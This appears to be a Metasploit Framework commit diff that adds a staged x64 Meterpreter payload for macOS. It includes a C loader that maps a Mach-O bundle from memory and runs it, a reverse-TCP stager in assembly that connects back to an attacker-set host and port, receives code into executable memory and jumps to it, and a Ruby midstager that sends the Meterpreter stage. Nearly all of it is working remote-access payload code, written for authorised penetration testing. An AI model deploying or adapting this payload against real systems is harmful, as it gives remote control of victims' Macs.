Land #9366, Add x64 staged Meterpreter for macOS
parent
8c2484d2da
commit
59a41f04f7
|
@ -58,6 +58,7 @@ PATH
|
||||||
rex-struct2
|
rex-struct2
|
||||||
rex-text
|
rex-text
|
||||||
rex-zip
|
rex-zip
|
||||||
|
ruby-macho
|
||||||
ruby_smb
|
ruby_smb
|
||||||
rubyntlm
|
rubyntlm
|
||||||
rubyzip
|
rubyzip
|
||||||
|
@ -320,6 +321,7 @@ GEM
|
||||||
rspec-rerun (1.1.0)
|
rspec-rerun (1.1.0)
|
||||||
rspec (~> 3.0)
|
rspec (~> 3.0)
|
||||||
rspec-support (3.7.1)
|
rspec-support (3.7.1)
|
||||||
|
ruby-macho (1.1.0)
|
||||||
ruby-rc4 (0.1.5)
|
ruby-rc4 (0.1.5)
|
||||||
ruby_smb (0.0.18)
|
ruby_smb (0.0.18)
|
||||||
bindata
|
bindata
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
|
||||||
|
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
|
||||||
|
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
|
||||||
|
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
|
||||||
|
|
||||||
|
all: clean main_osx
|
||||||
|
|
||||||
|
main_osx: main.c
|
||||||
|
$(GCC_OSX) -o $@ $^
|
||||||
|
|
||||||
|
install: main_osx
|
||||||
|
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
|
||||||
|
|
||||||
|
shellcode: install
|
||||||
|
otool -tv main_osx
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f *.o main_osx
|
||||||
|
|
|
@ -0,0 +1,301 @@
|
||||||
|
/*
|
||||||
|
* References:
|
||||||
|
* @parchedmind
|
||||||
|
* https://github.com/CylanceVulnResearch/osx_runbin/blob/master/run_bin.c
|
||||||
|
*
|
||||||
|
* @nologic
|
||||||
|
* https://github.com/nologic/shellcc
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#include <mach-o/loader.h>
|
||||||
|
#include <mach-o/nlist.h>
|
||||||
|
#include <mach-o/dyld.h>
|
||||||
|
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/sysctl.h>
|
||||||
|
|
||||||
|
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
|
||||||
|
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
|
||||||
|
|
||||||
|
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
|
||||||
|
uint64_t find_symbol(uint64_t base, char* symbol);
|
||||||
|
uint64_t find_entry_offset(struct mach_header_64 *mh);
|
||||||
|
int string_compare(const char* s1, const char* s2);
|
||||||
|
int detect_sierra();
|
||||||
|
|
||||||
|
/*#define DEBUG*/
|
||||||
|
#ifdef DEBUG
|
||||||
|
static void print(char * str);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define DYLD_BASE_ADDR 0x00007fff5fc00000
|
||||||
|
|
||||||
|
int main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("main!\n");
|
||||||
|
#endif
|
||||||
|
uint64_t buffer = 0;
|
||||||
|
uint64_t buffer_size = 0;
|
||||||
|
__asm__(
|
||||||
|
"movq %%r10, %0;\n"
|
||||||
|
"movq %%r12, %1;\n"
|
||||||
|
: "=g"(buffer), "=g"(buffer_size));
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("hello world!\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
int sierra = detect_sierra();
|
||||||
|
uint64_t binary = DYLD_BASE_ADDR;
|
||||||
|
if (sierra) {
|
||||||
|
binary = find_macho(0x100000000, 0x1000, 0);
|
||||||
|
if (!binary) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
binary += 0x1000;
|
||||||
|
}
|
||||||
|
uint64_t dyld = find_macho(binary, 0x1000, 0);
|
||||||
|
if (!dyld) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
|
||||||
|
if (!NSCreateObjectFileImageFromMemory_func) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("good symbol!\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
|
||||||
|
if (!NSLinkModule_func) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!sierra) {
|
||||||
|
NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR;
|
||||||
|
NSLinkModule_func -= DYLD_BASE_ADDR;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*if (*(char*)buffer == 'b') {*/
|
||||||
|
/*print("magic b!\n");*/
|
||||||
|
/*}*/
|
||||||
|
*(char*)buffer = '\xcf';
|
||||||
|
((uint32_t *)buffer)[3] = MH_BUNDLE;
|
||||||
|
|
||||||
|
NSObjectFileImage fi = 0;
|
||||||
|
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("created!\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
|
||||||
|
if (!nm) {
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("no nm!\n");
|
||||||
|
#endif
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
#ifdef DEBUG
|
||||||
|
print("good nm!\n");
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uint64_t execute_base = (uint64_t)nm;
|
||||||
|
execute_base = find_macho(execute_base, sizeof(int), 1);
|
||||||
|
|
||||||
|
uint64_t entry_off = find_entry_offset((void*)execute_base);
|
||||||
|
if (!entry_off) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
uint64_t entry = (execute_base + entry_off);
|
||||||
|
int(*main_func)(int, char**) = (int(*)(int, char**))entry;
|
||||||
|
char* socket = (char*)(size_t)argc;
|
||||||
|
char *new_argv[] = { "m", socket, NULL };
|
||||||
|
int new_argc = 2;
|
||||||
|
return main_func(new_argc, new_argv);
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t find_symbol(uint64_t base, char* symbol)
|
||||||
|
{
|
||||||
|
struct segment_command_64 *sc, *linkedit, *text;
|
||||||
|
struct load_command *lc;
|
||||||
|
struct symtab_command *symtab;
|
||||||
|
struct nlist_64 *nl;
|
||||||
|
|
||||||
|
char *strtab;
|
||||||
|
symtab = 0;
|
||||||
|
linkedit = 0;
|
||||||
|
text = 0;
|
||||||
|
|
||||||
|
lc = (struct load_command *)(base + sizeof(struct mach_header_64));
|
||||||
|
for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
|
||||||
|
if (lc->cmd == LC_SYMTAB) {
|
||||||
|
symtab = (struct symtab_command *)lc;
|
||||||
|
} else if (lc->cmd == LC_SEGMENT_64) {
|
||||||
|
sc = (struct segment_command_64 *)lc;
|
||||||
|
char * segname = ((struct segment_command_64 *)lc)->segname;
|
||||||
|
if (string_compare(segname, "__LINKEDIT") == 0) {
|
||||||
|
linkedit = sc;
|
||||||
|
} else if (string_compare(segname, "__TEXT") == 0) {
|
||||||
|
text = sc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!linkedit || !symtab || !text) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
|
||||||
|
strtab = (char *)(base + file_slide + symtab->stroff);
|
||||||
|
|
||||||
|
nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
|
||||||
|
for (int i=0; i<symtab->nsyms; i++) {
|
||||||
|
char *name = strtab + nl[i].n_un.n_strx;
|
||||||
|
/*#ifdef DEBUG*/
|
||||||
|
/*print(name);*/
|
||||||
|
/*print("\n");*/
|
||||||
|
/*#endif*/
|
||||||
|
if (string_compare(name, symbol) == 0) {
|
||||||
|
return base + nl[i].n_value;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t syscall_chmod(uint64_t path, long mode)
|
||||||
|
{
|
||||||
|
uint64_t chmod_no = 0x200000f;
|
||||||
|
uint64_t ret = 0;
|
||||||
|
__asm__(
|
||||||
|
"movq %1, %%rax;\n"
|
||||||
|
"movq %2, %%rdi;\n"
|
||||||
|
"movq %3, %%rsi;\n"
|
||||||
|
"syscall;\n"
|
||||||
|
"movq %%rax, %0;\n"
|
||||||
|
: "=g"(ret)
|
||||||
|
: "g"(chmod_no), "S"(path), "g"(mode)
|
||||||
|
:);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
|
||||||
|
{
|
||||||
|
while(1) {
|
||||||
|
uint64_t ptr = addr;
|
||||||
|
if (pointer) {
|
||||||
|
ptr = *(uint64_t *)ptr;
|
||||||
|
}
|
||||||
|
unsigned long ret = syscall_chmod(ptr, 0777);
|
||||||
|
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
|
||||||
|
return ptr;
|
||||||
|
}
|
||||||
|
|
||||||
|
addr += increment;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
uint64_t find_entry_offset(struct mach_header_64 *mh)
|
||||||
|
{
|
||||||
|
struct entry_point_command *entry;
|
||||||
|
struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
|
||||||
|
for (int i=0; i<mh->ncmds; i++) {
|
||||||
|
if (lc->cmd == LC_MAIN) {
|
||||||
|
entry = (struct entry_point_command *)lc;
|
||||||
|
return entry->entryoff;
|
||||||
|
}
|
||||||
|
|
||||||
|
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int string_compare(const char* s1, const char* s2)
|
||||||
|
{
|
||||||
|
while (*s1 != '\0' && *s1 == *s2)
|
||||||
|
{
|
||||||
|
s1++;
|
||||||
|
s2++;
|
||||||
|
}
|
||||||
|
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
|
||||||
|
}
|
||||||
|
|
||||||
|
int detect_sierra()
|
||||||
|
{
|
||||||
|
uint64_t sc_sysctl = 0x20000ca;
|
||||||
|
int name[] = { CTL_KERN, KERN_OSRELEASE };
|
||||||
|
uint64_t nameptr = (uint64_t)&name;
|
||||||
|
uint64_t namelen = sizeof(name)/sizeof(name[0]);
|
||||||
|
char osrelease[32];
|
||||||
|
size_t size = sizeof(osrelease);
|
||||||
|
uint64_t valptr = (uint64_t)osrelease;
|
||||||
|
uint64_t valsizeptr = (uint64_t)&size;
|
||||||
|
uint64_t ret = 0;
|
||||||
|
|
||||||
|
__asm__(
|
||||||
|
"mov %1, %%rax;\n"
|
||||||
|
"mov %2, %%rdi;\n"
|
||||||
|
"mov %3, %%rsi;\n"
|
||||||
|
"mov %4, %%rdx;\n"
|
||||||
|
"mov %5, %%r10;\n"
|
||||||
|
"xor %%r8, %%r8;\n"
|
||||||
|
"xor %%r9, %%r9;\n"
|
||||||
|
"syscall;\n"
|
||||||
|
"mov %%rax, %0;\n"
|
||||||
|
: "=g"(ret)
|
||||||
|
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
|
||||||
|
: );
|
||||||
|
|
||||||
|
// osrelease is 16.x.x on Sierra
|
||||||
|
if (ret == 0 && size > 2) {
|
||||||
|
if (osrelease[0] == '1' && osrelease[1] < '6') {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (osrelease[0] <= '9' && osrelease[1] == '.') {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef DEBUG
|
||||||
|
int string_len(const char* s1)
|
||||||
|
{
|
||||||
|
const char* s2 = s1;
|
||||||
|
while (*s2 != '\0')
|
||||||
|
{
|
||||||
|
s2++;
|
||||||
|
}
|
||||||
|
return (s2 - s1);
|
||||||
|
}
|
||||||
|
|
||||||
|
void print(char * str)
|
||||||
|
{
|
||||||
|
long write = 0x2000004;
|
||||||
|
long stdout = 1;
|
||||||
|
unsigned long len = string_len(str);
|
||||||
|
unsigned long long addr = (unsigned long long) str;
|
||||||
|
unsigned long ret = 0;
|
||||||
|
/* ret = write(stdout, str, len); */
|
||||||
|
__asm__(
|
||||||
|
"movq %1, %%rax;\n"
|
||||||
|
"movq %2, %%rdi;\n"
|
||||||
|
"movq %3, %%rsi;\n"
|
||||||
|
"movq %4, %%rdx;\n"
|
||||||
|
"syscall;\n"
|
||||||
|
"movq %%rax, %0;\n"
|
||||||
|
: "=g"(ret)
|
||||||
|
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
|
||||||
|
: "rax", "rdi", "rdx" );
|
||||||
|
}
|
||||||
|
#endif
|
Binary file not shown.
|
@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
|
||||||
#
|
#
|
||||||
# Needed by auxiliary/gather/http_pdf_authors module
|
# Needed by auxiliary/gather/http_pdf_authors module
|
||||||
spec.add_runtime_dependency 'pdf-reader'
|
spec.add_runtime_dependency 'pdf-reader'
|
||||||
|
spec.add_runtime_dependency 'ruby-macho'
|
||||||
|
|
||||||
#
|
#
|
||||||
# Protocol Libraries
|
# Protocol Libraries
|
||||||
|
|
|
@ -7,8 +7,9 @@ require 'msf/core/handler/reverse_tcp'
|
||||||
|
|
||||||
module MetasploitModule
|
module MetasploitModule
|
||||||
|
|
||||||
CachedSize = 154
|
CachedSize = 168
|
||||||
|
|
||||||
|
include Msf::Payload::TransportConfig
|
||||||
include Msf::Payload::Stager
|
include Msf::Payload::Stager
|
||||||
|
|
||||||
def initialize(info = { })
|
def initialize(info = { })
|
||||||
|
@ -21,35 +22,108 @@ module MetasploitModule
|
||||||
'Arch' => ARCH_X64,
|
'Arch' => ARCH_X64,
|
||||||
'Handler' => Msf::Handler::ReverseTcp,
|
'Handler' => Msf::Handler::ReverseTcp,
|
||||||
'Convention' => 'sockedi',
|
'Convention' => 'sockedi',
|
||||||
'Stager' =>
|
|
||||||
{
|
|
||||||
'Offsets' =>
|
|
||||||
{
|
|
||||||
'LHOST' => [ 37, 'ADDR'],
|
|
||||||
'LPORT' => [ 35, 'n']
|
|
||||||
},
|
|
||||||
'Payload' =>
|
|
||||||
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
|
|
||||||
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
|
|
||||||
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
|
|
||||||
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
|
|
||||||
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
|
|
||||||
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
|
|
||||||
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
|
|
||||||
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
|
|
||||||
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
|
|
||||||
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
|
|
||||||
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
|
|
||||||
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
|
|
||||||
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
|
|
||||||
}
|
|
||||||
))
|
))
|
||||||
end
|
end
|
||||||
|
|
||||||
def handle_intermediate_stage(conn, p)
|
def generate(opts = {})
|
||||||
#
|
encoded_port = "%.8x" % [datastore['LPORT'].to_i,2].pack("vv").unpack("N").first
|
||||||
# Our stager payload expects to see a next-stage length first.
|
encoded_host = "%.8x" % Rex::Socket.addr_aton(datastore['LHOST']||"127.127.127.127").unpack("V").first
|
||||||
#
|
retry_count = datastore['StagerRetryCount']
|
||||||
conn.put([p.length].pack('V'))
|
seconds = datastore['StagerRetryWait']
|
||||||
|
sleep_seconds = seconds.to_i
|
||||||
|
sleep_nanoseconds = (seconds % 1 * 1000000000).to_i
|
||||||
|
|
||||||
|
stager_asm = %(
|
||||||
|
; mmap(0x0, 0x1000, 0x7, 0x1002, 0x0, 0x0)
|
||||||
|
push 0
|
||||||
|
pop rdi
|
||||||
|
push 0x1000
|
||||||
|
pop rsi
|
||||||
|
push 7
|
||||||
|
pop rdx
|
||||||
|
push 0x1002
|
||||||
|
pop r10
|
||||||
|
push 0
|
||||||
|
pop r8
|
||||||
|
push 0
|
||||||
|
pop r9
|
||||||
|
push 0x20000c5
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
jb failed
|
||||||
|
|
||||||
|
mov r12, rax
|
||||||
|
push 0
|
||||||
|
pop r10
|
||||||
|
push #{retry_count}
|
||||||
|
pop r11
|
||||||
|
|
||||||
|
socket:
|
||||||
|
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||||
|
push 2
|
||||||
|
pop rdi ; rdi=AF_INET
|
||||||
|
push 1
|
||||||
|
pop rsi ; rsi=SOCK_STREAM
|
||||||
|
push 0
|
||||||
|
pop rdx ; rdx=IPPROTO_IP
|
||||||
|
push 0x2000061
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
jb retry
|
||||||
|
|
||||||
|
; connect (sockfd, {AF_INET,4444,127.0.0.1}, 16);
|
||||||
|
mov rdi, rax
|
||||||
|
mov rax, 0x#{encoded_host}#{encoded_port}
|
||||||
|
push rax
|
||||||
|
push rsp
|
||||||
|
pop rsi
|
||||||
|
push 16
|
||||||
|
pop rdx
|
||||||
|
push 0x2000062
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
jb retry
|
||||||
|
|
||||||
|
; recvfrom(sockfd, addr, 0x1000)
|
||||||
|
mov rsi, r12
|
||||||
|
push 0x1000
|
||||||
|
pop rdx
|
||||||
|
push 0x200001d
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
jb retry
|
||||||
|
|
||||||
|
call r12
|
||||||
|
|
||||||
|
retry:
|
||||||
|
dec r11
|
||||||
|
jz failed
|
||||||
|
|
||||||
|
push 0
|
||||||
|
pop rdi
|
||||||
|
push 0
|
||||||
|
pop rsi
|
||||||
|
push 0
|
||||||
|
pop rdx
|
||||||
|
push 0
|
||||||
|
pop r10
|
||||||
|
push 0x#{sleep_nanoseconds.to_s(16)}
|
||||||
|
push 0x#{sleep_seconds.to_s(16)}
|
||||||
|
push rsp
|
||||||
|
pop r8
|
||||||
|
push 0x200005d
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
jmp socket
|
||||||
|
|
||||||
|
failed:
|
||||||
|
push 0x2000001
|
||||||
|
pop rax
|
||||||
|
push 0x1
|
||||||
|
pop rdi
|
||||||
|
syscall ; exit(1)
|
||||||
|
)
|
||||||
|
|
||||||
|
Metasm::Shellcode.assemble(Metasm::X64.new, stager_asm).encode_string
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,145 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/base/sessions/meterpreter_x64_osx'
|
||||||
|
require 'msf/base/sessions/meterpreter_options'
|
||||||
|
require 'msf/base/sessions/mettle_config'
|
||||||
|
require 'macho'
|
||||||
|
|
||||||
|
module MetasploitModule
|
||||||
|
include Msf::Sessions::MeterpreterOptions
|
||||||
|
include Msf::Sessions::MettleConfig
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OSX Meterpreter',
|
||||||
|
'Description' => 'Inject the mettle server payload (staged)',
|
||||||
|
'Platform' => 'osx',
|
||||||
|
'Author' => [
|
||||||
|
'parchedmind', # osx_runbin
|
||||||
|
'nologic', # shellcc
|
||||||
|
'timwr', # metasploit integration
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
[ 'URL', 'https://github.com/CylanceVulnResearch/osx_runbin' ],
|
||||||
|
[ 'URL', 'https://github.com/nologic/shellcc' ]
|
||||||
|
],
|
||||||
|
'Arch' => ARCH_X64,
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Session' => Msf::Sessions::Meterpreter_x64_OSX,
|
||||||
|
'Convention' => 'sockedi',
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def handle_intermediate_stage(conn, payload)
|
||||||
|
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
|
||||||
|
data = File.binread(stager_file)
|
||||||
|
macho = MachO::MachOFile.new_from_bin(data)
|
||||||
|
main_func = macho[:LC_MAIN].first
|
||||||
|
entry_offset = main_func.entryoff
|
||||||
|
|
||||||
|
output_data = ''
|
||||||
|
for segment in macho.segments
|
||||||
|
for section in segment.sections
|
||||||
|
file_section = segment.fileoff + section.offset
|
||||||
|
vm_addr = section.addr - 0x100000000
|
||||||
|
section_data = data[file_section, section.size]
|
||||||
|
if output_data.size < vm_addr
|
||||||
|
output_data += "\x00" * (vm_addr - output_data.size)
|
||||||
|
end
|
||||||
|
if section_data
|
||||||
|
output_data[vm_addr, output_data.size] = section_data
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
midstager_asm = %(
|
||||||
|
push rdi ; save sockfd
|
||||||
|
xor rdi, rdi ; address
|
||||||
|
mov rsi, #{output_data.length} ; length
|
||||||
|
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||||
|
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
xor r8, r8 ; fd
|
||||||
|
xor r9, r9 ; offset
|
||||||
|
mov eax, 0x20000c5 ; mmap
|
||||||
|
syscall
|
||||||
|
|
||||||
|
mov r12, rax
|
||||||
|
|
||||||
|
mov rdx, rsi ; length
|
||||||
|
mov rsi, rax ; address
|
||||||
|
pop rdi ; sockfd
|
||||||
|
mov r10, 0x40 ; MSG_WAITALL
|
||||||
|
xor r8, r8 ; srcaddr
|
||||||
|
xor r9, r9 ; addrlen
|
||||||
|
mov eax, 0x200001d ; recvfrom
|
||||||
|
syscall
|
||||||
|
|
||||||
|
push rdi ; save sockfd
|
||||||
|
xor rdi, rdi ; address
|
||||||
|
mov rsi, #{payload.length} ; length
|
||||||
|
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
|
||||||
|
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
|
||||||
|
xor r8, r8 ; fd
|
||||||
|
xor r9, r9 ; offset
|
||||||
|
mov eax, 0x20000c5 ; mmap
|
||||||
|
syscall
|
||||||
|
|
||||||
|
mov rdx, rsi ; length
|
||||||
|
mov rsi, rax ; address
|
||||||
|
pop rdi ; sockfd
|
||||||
|
mov r10, 0x40 ; MSG_WAITALL
|
||||||
|
xor r8, r8 ; srcaddr
|
||||||
|
xor r9, r9 ; addrlen
|
||||||
|
mov eax, 0x200001d ; recvfrom
|
||||||
|
syscall
|
||||||
|
|
||||||
|
mov r10, rsi
|
||||||
|
|
||||||
|
; setup stack?
|
||||||
|
and rsp, -0x10 ; Align
|
||||||
|
add sp, 0x40 ; Add room for initial stack and prog name
|
||||||
|
mov rax, 109 ; prog name "m"
|
||||||
|
push 0 ;
|
||||||
|
mov rcx, rsp ; save the stack
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push 0
|
||||||
|
push rdi ; ARGV[1] int sockfd
|
||||||
|
push rcx ; ARGV[0] char *prog_name
|
||||||
|
mov rax, 2 ; ARGC
|
||||||
|
push rax
|
||||||
|
|
||||||
|
mov rsi, r12
|
||||||
|
mov r12, rdx
|
||||||
|
|
||||||
|
mov rax, #{entry_offset}
|
||||||
|
add rsi, rax
|
||||||
|
call rsi
|
||||||
|
|
||||||
|
; exit
|
||||||
|
mov eax, 0x2000001
|
||||||
|
mov rdi, 0x1
|
||||||
|
syscall
|
||||||
|
)
|
||||||
|
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
|
||||||
|
print_status("Transmitting first stager...(#{midstager.length} bytes)")
|
||||||
|
|
||||||
|
conn.put(midstager) == midstager.length
|
||||||
|
print_status("Transmitting second stager...(#{output_data.length} bytes)")
|
||||||
|
conn.put(output_data) == output_data.length
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_stage(opts = {})
|
||||||
|
mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
|
||||||
|
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
|
||||||
|
mettle_macho[0] = 'b'
|
||||||
|
mettle_macho
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue